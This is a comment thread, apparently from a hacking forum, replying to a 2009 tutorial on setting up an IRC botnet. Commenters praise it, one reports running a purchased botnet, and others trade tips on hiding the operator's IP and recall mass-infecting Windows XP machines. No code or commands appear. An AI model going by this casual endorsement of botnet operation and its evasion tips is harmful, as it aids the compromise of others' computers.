The Supreme Gentleman - November 13, 2014, 2:59 pm

(Nov 13, 2014 08:34 AM)magentacak3 Wrote: [\[CITE\]](#) Would a newer version of Visual Studio work as long as i get the SDK?

Great job reviving a 5 year old topic. No it wouldn't work. Stay off HF or, look at the date posted.

notM9 - November 13, 2014, 4:17 pm

This tutorial was very long and used a bad IRCd for the server. But overall it had a good vibe and lesson. Goodjob!

ItsRemixD - November 14, 2014, 7:54 pm

Nice + Simple Tutorial, nice man.

Thanks.

Mavspammer - November 15, 2014, 8:36 am

cool TUT bro, easy to understand, I will recommend this to anyone

foxtrott50 - January 16, 2015, 10:18 am

hey guys, has anyone heard about the Zues Ghost, its begging to look like a myth to me. i just cant find it anywhere.

exfocus - January 16, 2015, 5:15 pm

A no-ip account doesn't hide your IP address...

LIIMITSS - January 24, 2015, 12:37 pm

you can just use a vpn to hide your ip

chkrootkit - May 5, 2015, 4:13 pm

whats the rBot.exe for? trojan?

boggs12 - May 20, 2015, 2:53 pm

Thank you for your post, It's amazing...

Jesusisrussian - June 16, 2015, 10:02 am

very HQ tut,thx for it :)

ousJJuSJRK - June 15, 2017, 1:36 pm

Great tut! Very helpfull. Now iam able to setup my own botnet i bought! TY :)

psv350 - June 16, 2017, 4:47 am

this methode is not safe at all.

bots will connect to your DNS, but dns will be also connected to ur IP.

micoholic - June 19, 2017, 1:32 am

Wow, a very old thread which was being pushed up.

panaiz - June 20, 2017, 2:15 am

how the bot spreads itself? i remember 5 yrs ago there was a command to ipscan for an exploit on windows xp and i had more than 20k bots like that in a month.

Chief Turbo - June 20, 2017, 2:16 am

cmon guys this thread is from 2009

micoholic - June 20, 2017, 8:32 pm

(Jun 20, 2017 02:16 AM)farryy Wrote: [\[CITE\]](#) cmon guys this thread is from 2009

Hey, cmon, stop spamming this thread, is way old now!

xkmaigod - June 25, 2017, 9:22 am

nice job thank you bro =D

Ahmad - June 25, 2017, 1:07 pm

Why are you guys bumping a dead thread from 2009 smh
